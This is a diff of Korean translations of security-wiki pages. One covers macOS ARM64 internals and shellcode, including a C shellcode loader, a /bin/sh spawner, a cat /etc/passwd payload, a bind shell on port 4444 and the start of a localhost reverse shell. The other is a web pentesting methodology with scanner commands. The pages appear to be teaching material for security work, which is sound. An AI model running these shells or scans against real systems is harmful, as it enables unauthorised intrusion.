XNU는 기계 의존적이라고 불리는 또 다른 유형의 호출을 지원합니다. 이러한 호출의 수는 아키텍처에 따라 다르며 호출이나 숫자가 일정하게 유지될 것이라고 보장되지 않습니다.
XNU는 machine dependent라고 불리는 다른 종류의 호출을 지원합니다. 이러한 호출의 번호는 아키텍처에 따라 달라지며, 호출이나 번호 모두 고정되어 있다고 보장되지 않습니다.
### comm 페이지
### comm page
것은 모든 사용자 프로세스의 주소 공간에 매핑된 커널 소유 메모리 페이지입니다. 이는 사용자 모드에서 커널 공간으로의 전환을 syscalls를 사용하는 것보다 더 빠르게 하도록 설계되었습니다. 이러한 커널 서비스는 너무 많이 사용되기 때문에 이 전환이 매우 비효율적일 수 있습니다.
는 커널 소유의 메모리 페이지로, 모든 사용자 프로세스의 주소 공간에 매핑됩니다. 자주 사용되는 커널 서비스의 경우 syscalls를 사용하는 것보다 사용자 모드에서 커널 공간으로의 전환을 더 빠르게 하기 위해 설계되었습니다. 해당 전환이 자주 일어나면 syscall을 쓰는 방식은 매우 비효율적일 수 있습니다.
예를 들어, 호출 `gettimeofdate`는 comm 페이지에서 `timeval`의 값을 직접 읽습니다.
예를 들어 `gettimeofdate` 호출은 `timeval` 값을 comm page에서 직접 읽습니다.
### objc_msgSend
Objective-C 또는 Swift 프로그램에서 이 함수가 사용되는 것을 찾는 것은 매우 일반적입니다. 이 함수는 Objective-C 객체의 메서드를 호출할 수 있게 해줍니다.
Objective-C 또는 Swift 프로그램에서 이 함수가 사용되는 것을 매우 흔히 볼 수 있습니다. 이 함수는 Objective-C 객체의 메서드를 호출할 수 있게 해줍니다.
매개변수 ([문서에서 더 많은 정보](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
- x0: self -> 인스턴스에 대한 포인터
- x1: op -> 메서드의 선택자
- x2... -> 호출된 메서드의 나머지 인
- x0: self -> 인스턴스에 대한 Pointer
- x1: op -> 메서드의 Selector
- x2... -> 호출된 메서드의 나머지 인자들
따라서 이 함수로의 분기 전에 중단점을 설정하면, lldb에서 호출되는 내용을 쉽게 찾을 수 있습니다 (이 예제에서 객체는 명령을 실행할 `NSConcreteTask`의 객체를 호출합니다):
따라서 이 함수로 분기하기 전에 breakpoint를 걸어두면, 이 예제처럼 객체가 `NSConcreteTask`의 객체를 호출하여 명령을 실행하는 경우 무엇이 호출되는지 lldb에서 쉽게 확인할 수 있습니다:
```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
@ -369,27 +372,27 @@ whoami
)
```
> [!TIP]
> 환경 변수 **`NSObjCMessageLoggingEnabled=1`**로 설정하면 이 함수가 호출될 때 `/tmp/msgSends-pid`와 같은 파일에 로그를 남길 수 있습니다.
> 환경 변수 **`NSObjCMessageLoggingEnabled=1`** 를 설정하면 이 함수가 호출될 때 `/tmp/msgSends-pid` 같은 파일에 log할 수 있습니다.
>
> 또한, **`OBJC_HELP=1`**을 설정하고 이진 파일을 호출하면 특정 Objc-C 작업이 발생할 때 **로그**를 남길 수 있는 다른 환경 변수를 볼 수 있습니다.
> 또한 **`OBJC_HELP=1`** 를 설정하고 아무 binary를 실행하면 특정 Objc-C actions가 발생할 때 log할 수 있도록 사용할 수 있는 다른 environment variables들을 볼 수 있습니다.
이 함수가 호출될 때, 지정된 인스턴스의 호출된 메서드를 찾아야 하며, 이를 위해 다양한 검색이 수행됩니다:
When this function is called, it's needed to find the called method of the indicated instance, for this different searches are made:
- 낙관적 캐시 조회 수행:
- 성공하면 완료
- runtimeLock 획득 (읽기)
- If (realize && !cls->realized) 클래스 실현
- If (initialize && !cls->initialized) 클래스 초기화
- 클래스 자체 캐시 시도:
- 성공하면 완료
- 클래스 메서드 목록 시도:
- 발견되면, 캐시를 채우고 완료
- 슈퍼클래스 캐시 시도:
- 성공하면 완료
- 슈퍼클래스 메서드 목록 시도:
- 발견되면, 캐시를 채우고 완료
- If (resolver) 메서드 리졸버 시도, 클래스 조회에서 반복
- 여전히 여기 있으면 (= 모든 것이 실패했음) 포워더 시도
- optimistic cache lookup 수행:
- 성공하면
- runtimeLock (read) 획득
- If (realize && !cls->realized) realize class
- If (initialize && !cls->initialized) initialize class
- class의 자체 cache 시도:
- 성공하면
- class method list 시도:
- 발견되면 cache를 채우고 끝
- superclass cache 시도:
- 성공하면
- superclass method list 시도:
- 발견되면 cache를 채우고 끝
- If (resolver) method resolver를 시도하고 class lookup부터 반복
- 아직 여기까지 왔다면(=다 실패한 경우) forwarder를 시도
### Shellcodes
@ -408,7 +411,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
echo -n '\\x'$c
done
```
macOS:
신 macOS의 경우:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@ -417,7 +420,7 @@ done
```
<details>
<summary>셸코드를 테스트하는 C 코드</summary>
<summary>shellcode를 테스트하기 위한 C code</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
@ -467,7 +470,7 @@ return 0;
#### Shell
[**여기**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)에서 가져온 내용과 설명입니다.
다음 [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)에서 가져왔으며 설명합니다.
{{#tabs}}
{{#tab name="with adr"}}
@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh"
#### cat으로 읽기
목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`를 실행하는 것입니다. 따라서 두 번째 인수(x1)는 매개변수의 배열입니다(메모리에서 이는 주소의 스택을 의미합니다).
목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`를 실행하는 것이고, 따라서 두 번째 인자(x1)는 파라미터들의 배열인데(메모리상에서는 주소들의 스택을 의미한다).
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### 포크에서 sh로 명령어 호출하여 메인 프로세스가 종료되지 않도록 하기
#### 메인 프로세스가 종료되지 않도록 fork에서 sh로 명령을 실행하기
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala"
```
#### Bind shell
**포트 4444**에서 [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s)의 Bind shell
Bind shell은 [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s)에서 제공되며 **port 4444**에서 동작합니다
```armasm
.section __TEXT,__text
.global _main
@ -695,7 +698,7 @@ svc #0x1337
```
#### Reverse shell
From [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell to **127.0.0.1:4444**
다음에서 [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell을 **127.0.0.1:4444**로
```armasm
.section __TEXT,__text
.global _main

View File

@ -1,4 +1,4 @@
# 80,443 - Pentesting Web 방법론
# 80,443 - Pentesting 방법론
{{#include ../../banners/hacktricks-training.md}}
@ -17,7 +17,7 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### 웹 API 지침
### Web API 안내
{{#ref}}
@ -26,36 +26,36 @@ web-api-pentesting.md
## 방법론 요약
> 이 방법론에서는 테스트할 대상이 도메인(또는 서브도메인) 하나만이라고 가정합니다. 따라서 스코프 내에서 발견된 각 도메인, 서브도메인 또는 웹 서버가 확정되지 않은 IP에 대해 이 방법론을 적용해야 합니다.
> 이 방법론에서는 도메인(또는 subdomain) 하나만 공격한다고 가정합니다. 따라서 scope 내에서 발견된 각 도메인, subdomain 또는 undetermined web server가 있는 IP에 이 방법론을 적용하세요.
- [ ] 먼저 웹 서버에서 사용되는 **기술들**을 **식별**하세요. 기술을 성공적으로 식별할 수 있다면 이후 테스트에서 기억해둘 **요령**을 찾아보세요.
- [ ] 해당 기술 버전에 대 **known vulnerability**가 있나요?
- [ ] 사용 중인 **well known tech**가 있나요? 추가 정보를 추출하기 위한 **useful trick**가 있나요?
- [ ] 먼저 웹 서버에서 사용되는 **technologies**를 **identifying** 하세요. tech를 성공적으로 식별할 수 있다면 이후 테스트 중에 염두에 둘 **tricks**를 찾아보세요.
- [ ] 해당 기술 버전에 대 **known vulnerability**가 있나요?
- [ ] 잘 알려진 **tech**를 사용하고 있나요? 더 많은 정보를 추출하는 데 유용한 **tricks**가 있나요?
- [ ] 실행할 **specialised scanner**가 있나요 (예: wpscan)?
- [ ] **general purposes scanners**를 실행하세요. 무엇을 발견할지, 흥미로운 정보를 찾을지 모릅니다.
- [ ] **initial checks**부터 시작하세요: **robots**, **sitemap**, **404** 에러**SSL/TLS scan** (HTTPS인 경우).
- [ ] 웹 페이지 **spidering**을 시작하세요: 가능한 모든 **files, folders**와 사용 중인 **parameters**를 **find**할 시간입니다. 또한 **special findings**도 확인하세요.
- [ ] _새 디렉터리가 brute-forcing 또는 spidering 중에 발견되면, 해당 디렉터리는 spidered 되어야 한다는 점을 유의하세요._
- [ ] **Directory Brute-Forcing**: 새로 발견된 폴더들에 대해 새로운 **files**와 **directories**를 찾기 위해 brute force를 시도하세요.
- [ ] _새 디렉터리가 brute-forcing 또는 spidering 중에 발견되면, 해당 디렉터리는 Brute-Forced 되어야 한다는 점을 유의하세요._
- [ ] **Backups checking**: 공통 백업 확장자를 덧붙여 **discovered files**의 **backups**를 찾을 수 있는지 테스트하세요.
- [ ] **Brute-Force parameters**: 숨겨진 파라미터를 찾아보세요.
- [ ] 가능한 모든 **endpoints**가 **user input**을 받는 것을 확인한 후, 이에 관련된 모든 종류의 **vulnerabilities**를 검하세요.
- [ ] [이 체크리스트를 따르세요](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] **general purposes scanners**를 실행하세요. 무엇을 찾을지, 흥미로운 정보를 발견할지 알 수 없습니다.
- [ ] **initial checks**부터 시작하세요: **robots**, **sitemap**, **404** error**SSL/TLS scan** (HTTPS인 경우).
- [ ] 웹 페이지 **spidering**을 시작하세요: 가능한 모든 **files, folders** 및 **parameters being used**를 **find**할 시간입니다. 또한 **special findings**를 확인하세요.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
- [ ] **Directory Brute-Forcing**: 발견된 모든 폴더를 대상으로 새로운 **files** **directories**를 찾기 위해 brute force를 시도하세요.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
- [ ] **Backups checking**: 일반적인 백업 확장자를 붙여 **discovered files**의 **backups**를 찾을 수 있는지 테스트하세요.
- [ ] **Brute-Force parameters**: 숨겨진 **parameters**를 **find**하려고 시도하세요.
- [ ] 가능한 모든 **endpoints** 중 **user input**을 받는 항목을 **identified**하면, 해당 항목과 관련된 모든 종류의 **vulnerabilities**를 검하세요.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## 서버 버전 (취약한가?)
## Server Version (Vulnerable?)
### 식별
### Identify
실행 중인 서버의 **version**에 대한 **known vulnerabilities**가 있는지 확인하세요.\
응답의 **HTTP headers and cookies of the response**는 사용 중인 **technologies** 및/또는 **version**을 **identify**하는 데 매우 유용할 수 있습니다. **Nmap scan** can identify the server version, but it could also be useful the tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
실행 중인 서버 **version**에 대해 **known vulnerabilities**가 있는지 확인하세요.\
응답의 **HTTP headers and cookies**는 사용 중인 **technologies** 및/또는 **version**을 **identify**하는 데 매우 유용할 수 있습니다. **Nmap scan**은 서버 버전을 식별할 수 있지만, 다음 도구들도 유용할 수 있습니다: [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
검색: [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **WAF가 있는지 확인**
@ -63,9 +63,9 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### 웹 기술 트릭
### 웹 기술 tricks
사용 중인 다양한 잘 알려진 **기술**에서 **취약점 찾기**를 위한 몇 가지 **트릭**:
사용 중인 다양한 잘 알려진 **technologies**에서 **finding vulnerabilities**를 위한 몇 가지 **tricks**:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -101,19 +101,19 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_같은 **도메인**이 서로 다른 **포트**, **폴더** 및 **서브도메인**에서 서로 다른 **기술**을 사용할 수 있다는 점을 고려하세요._\
웹 애플리케이션이 앞에서 나열한 잘 알려진 **기술/플랫폼** 또는 **다른 것**을 사용하고 있다면, 새로운 트릭을 **인터넷에서 검색**하는 것을 잊지 마세요(그리고 알려주세요!).
_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
웹 애플리케이션이 이전에 나열된 잘 알려진 **tech/platform listed before** 또는 **any other**를 사용하고 있다면, 새로운 tricks를 **search on the Internet**하는 것을 잊지 마세요(그리고 알려 주세요!).
### 소스 코드 리뷰
### Source Code Review
애플리케이션의 **source code**가 **github**에서 이용 가능하다면, 직접 **your own a White box test**를 수행하는 것 외에도 현재의 **Black-Box testing**에 **useful**할 수 있는 **some information**가 있습니다:
애플리케이션의 **source code**가 **github**에 공개되어 있다면, 자체적으로 **your own a White box test**를 수행하는 것 외에도 현재의 **Black-Box testing**에 **useful**할 수 있는 **some information**가 있습니다:
- Is there a **Change-log or Readme or Version** file or anything with **version info accessible** via web?
- How and where are saved the **credentials**? Is there any (accessible?) **file** with credentials (usernames or passwords)?
- Are **passwords** in **plain text**, **encrypted** or which **hashing algorithm** is used?
- Is it using any **master key** for encrypting something? Which **algorithm** is used?
- Can you **access any of these files** exploiting some vulnerability?
- Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)?
- 웹에서 접근 가능한 **Change-log or Readme or Version** 파일 또는 버전 정보가 있는 다른 어떤 것이 있나요?
- **credentials**는 어떻게 어디에 저장되나요? (접근 가능한?) **file**에 credentials(usernames 또는 passwords)이 있나요?
- **passwords**가 **plain text**인가요, **encrypted**인가요, 아니면 어떤 **hashing algorithm**이 사용되나요?
- 무언가를 암호화하기 위해 **master key**를 사용하나요? 어떤 **algorithm**이 사용되나요?
- 어떤 취약점을 이용해 이러한 파일들 중 일부에 **access**할 수 있나요?
- **github**의 **issues**(해결된 것과 해결되지 않은 것)나 **commit history**에 흥미로운 정보가 있나요? (예: 오래된 commit 안에 도입된 어떤 **password** 등)
{{#ref}}
@ -122,7 +122,7 @@ code-review-tools.md
### 자동 스캐너
#### 범용 자동 스캐너
#### 일반 목적 자동 스캐너
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -134,14 +134,14 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
#### CMS 스캐너
#### CMS scanners
CMS를 사용하는 경우 **스캐너를 실행하는 것을 잊지 마세요**, 의외로 흥미로운 것이 발견될 수 있습니다:
CMS를 사용하는 경우 **run a scanner** 하는 것을 잊지 마세요. 때로는 흥미로운 내용이 발견될 수 있습니다:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 웹사이트의 보안 문제를 검사합니다. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **또는** [**(M)oodle**](moodle.md)\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d <URL>
@ -149,15 +149,15 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> 이 시점에서 클라이언트가 사용하는 웹 서버에 대한 정보(주어진 데이터가 있다면)와 테스트 중 유의할 몇 가지 요령을 이미 가지고 있어야 합니다. 운이 좋다면 CMS를 찾아 스캐너를 실행했을 수도 있습니다.
> 이 시점에서 이미 클라이언트가 사용하는 웹 서버에 대한 정보(데이터가 제공된 경우)와 테스트 중에 염두에 둘 몇 가지 요령을 확보했어야 합니다. 운이 좋다면 CMS를 찾아 스캐너를 실행했을 수도 있습니다.
## 단계별 웹 애플리케이션 탐색
> 이 시점부터 웹 애플리케이션과 상호작용하기 시작합니다.
> 이 시점부터 웹 애플리케이션과 상호작용 시작합니다.
### 초기 확인
**흥미로운 정보가 있는 기본 페이지:**
**유용한 정보가 담긴 기본 페이지:**
- /robots.txt
- /sitemap.xml
@ -166,28 +166,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /.well-known/
- 메인 및 보조 페이지의 주석도 확인하세요.
**오류 유**
**오류 유**
웹 서버는 이상한 데이터가 전송될 때 **예상치 못하게 동작**할 수 있습니다. 이는 **취약점**을 유발하거나 **민감한 정보의 노출**을 초래할 수 있습니다.
웹 서버는 이상한 데이터를 전송하면 **예상치 않게 동작**할 수 있습니다. 이것은 **취약점**이나 **민감한 정보의 노출**을 초래할 수 있습니다.
- /whatever_fake.php (.aspx,.html,.etc) 같은 **가짜 페이지**에 접근하세요
- 오류를 유발하기 위해 **cookie 값** 및 **parameter 값**에 "\[]", "]]", "\[\["를 추가하세요
- URL의 **끝**에 **`/~randomthing/%s`**를 입력하여 오류 생성하세요
- PATCH, DEBUG 같은 다양한 **HTTP Verbs**를 시도하거나 FAKE와 같이 잘못된 것을 시도하세요
- /whatever_fake.php (.aspx,.html,.etc) 같은 **가짜 페이지**에 접근
- 오류를 발생시키기 위해 **cookie values****parameter** 값에 "\[]", "]]", "\[\[" 추가
- **URL**의 **끝**에 **`/~randomthing/%s`** 를 입력하여 오류 생성
- PATCH, DEBUG 같은 **다른 HTTP Verbs**를 시도하거나 FAKE처럼 잘못된 것을 시도
#### **파일 업로드 가능 여부 확인 (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
#### **업로드가 가능한지 확인하기 (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
WebDav가 **enabled**되어 있지만 루트 폴더에 **파일 업로드** 권한이 충분하지 않면 다음을 시도하세요:
루트 폴더에 **파일 업로드** 권한이 충분하지 않지만 **WebDav**가 **활성화**되어 있음을 발견하면 다음을 시도하세요:
- 자격 증명에 대해 **Brute Force**
- 웹 페이지 내 발견된 다른 폴더들에 WebDav를 통해 **파일을 업로드**하세요. 다른 폴더에는 업로드 권한이 있을 수 있습니다.
- **Brute Force** 자격 증명
- WebDav를 통해 웹 페이지 내 **나머지 발견된 폴더들**에 **파일을 업로드**하세요. 다른 폴더에는 파일 업로드 권한이 있을 수 있습니다.
### **SSL/TLS 취약점**
- 애플리케이션이 어느 부분에서도 HTTPS 사용을 강제하지 않으면 **MitM에 취약**합니다
- 애플리케이션이 **민감한 데이터(비밀번호)를 HTTP로 전송**한다면 이는 심각한 취약점입니다.
- 애플리케이션이 어느 부분에서도 **HTTPS 사용을 강제하지 않는다면**, **MitM에 취약**합니다.
- 애플리케이션이 **HTTP로 민감한 데이터(비밀번호)를 전송**하고 있다면, 이는 심각한 취약점입니다.
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용**취약점**을 확인하세요 (Bug Bounty 프로그램에서는 이런 종류의 취약점이 인정되지 않을 수 있음) 그리고 취약점을 다시 확인하려면 [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
취약점 확인을 위해 [**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하세요 (Bug Bounty 프로그램에서는 아마 이러한 유형의 취약점은 인정되지 않을 것입니다) 그리고 [**a2sv**](https://github.com/hahwul/a2sv)를 사용해 취약점을 재검토하세요:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -196,60 +196,60 @@ WebDav가 **enabled**되어 있지만 루트 폴더에 **파일 업로드** 권
sslscan <host:port>
sslyze --regular <ip:port>
```
Information about SSL/TLS vulnerabilities:
SSL/TLS 취약점 정보:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
내부에 어떤 종류의 **spider**를 실행하세요. spider의 목적은 테스트 중인 애플리케이션에서 가능한 한 많은 경로를 찾는 것입니다. 따라서 웹 크롤링과 외부 소스를 사용해 가능한 많은 유효한 경로를 찾아야 합니다.
웹에 어떤 종류의 **spider**를 실행하세요. spider의 목표는 테스트 중인 애플리케이션에서 가능한 한 많은 경로를 찾는 것입니다. 따라서 웹 크롤링과 외부 소스를 사용해 유효한 경로를 최대한 많이 찾아야 합니다.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS 파일에서 LinkFinder를 사용하고 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)를 참조합니다.
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, JS 파일에는 LinkFinder를 사용하고 Archive.org를 외부 소스로 사용합니다.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider이며 "juicy files"를 표시하기도 합니다.
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML spider. 또한 Archive.org를 검색합니다.
- [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 엄밀히 말해 spider는 아니지만 유용할 수 있습니다. 호스트 목록 파일과 경로 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능을 가진 HTML spider. 다만 유지보수가 안 되고, 사전 컴파일된 버전이 오래되었으며 현재 코드는 컴파일되지 않습니다.
- [**gau**](https://github.com/lc/gau) (go): 외부 제공자(wayback, otx, commoncrawl)를 사용하는 HTML spider입니다.
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 파라미터가 있는 URL을 찾아 목록화하는 스크립트입니다.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS 파일의 LinkFinder 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)를 사용합니다.
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, JS 파일용 LinkFinder와 Archive.org를 외부 소스로 사용합니다.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider로, "juicy files"도 표시합니다.
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML spider. Archive.org에서도 검색합니다.
- [**meg**](https://github.com/tomnomnom/meg) (go): 스파이더는 아니지만 유용합니다. 호스트 목록 파일과 경로 파일을 지정하면 각 호스트의 각 경로를 가져와 응답을 저장합니다.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능을 가진 HTML spider입니다. 다만 유지보수가 안 되는 것으로 보이며, 사전 컴파일된 버전이 오래되고 현재 코드는 컴파일되지 않습니다.
- [**gau**](https://github.com/lc/gau) (go): wayback, otx, commoncrawl 같은 외부 제공자를 사용하는 HTML spider입니다.
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 파라미터가 있는 URL을 찾아 목록화니다.
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능을 가진 HTML spider입니다.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider이며 JS beautify 기능을 갖추어 JS 파일에서 새로운 경로를 검색할 수 있습니다. LinkFinder의 래퍼인 [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 임베디드 자바스크립트 파일에서 엔드포인트를 추출합니다. bug hunters, red teamers, infosec ninjas에게 유용합니다.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado와 JSBeautifier를 사용해 JavaScript 파일에서 상대 URL을 파싱하는 Python 2.7 스크립트입니다. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지보수되지 않는 것으로 보입니다.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 입력하면 정교한 정규식으로 난독(minify) 파일에서 상대 URL을 찾아 추출합니다.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS 파일에서 새 경로를 검색할 수 있는 JS beautify 기능을 가진 HTML spider입니다. LinkFinder의 래퍼인 [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 임베디드 자바스크립트 파일에서 엔드포인트를 추출합니다. 버그 헌터, 레드팀, 인포섹 전문가에게 유용합니다.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado와 JSBeautifier를 사용해 JavaScript 파일에서 상대 URL을 파싱하는 Python 2.7 스크립트입니다. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지보수가 중단된 것처럼 보입니다.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): HTML 파일을 입력하면 정규식을 사용해 난독화(또는 minify)된 파일에서 상대 URL을 찾아 추출합니다.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용해 JS 파일에서 흥미로운 정보를 수집합니다.
- [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지 로드 시 로드되는 모든 URL을 출력합니다.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구들의 여러 옵션을 혼합한 콘텐츠 디스커버리 도구입니다.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 파라미터를 찾는 Burp extension입니다.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL이 주어지면 정리된 JS 코드를 가져오는 도구입니다.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저로 페이지를 로드하고 페이지를 로드하는 데 불러오는 모든 URL을 출력합니다.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구들의 여러 옵션을 혼합한 콘텐츠 발견 도구입니다.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 파라미터를 찾는 Burp 확장입니다.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 beautified JS 코드를 가져오는 도구입니다.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상의 엔드포인트를 발견하는 도구입니다.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine에서 링크를 발견하고(또한 wayback에서 응답을 다운로드하고 더 많은 링크를 찾습니다)
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 크롤링(심지어 폼 채우기 포함)하고 특정 정규식으로 민감한 정보를 찾아냅니다.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite는 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 Crawler/Spider입니다.
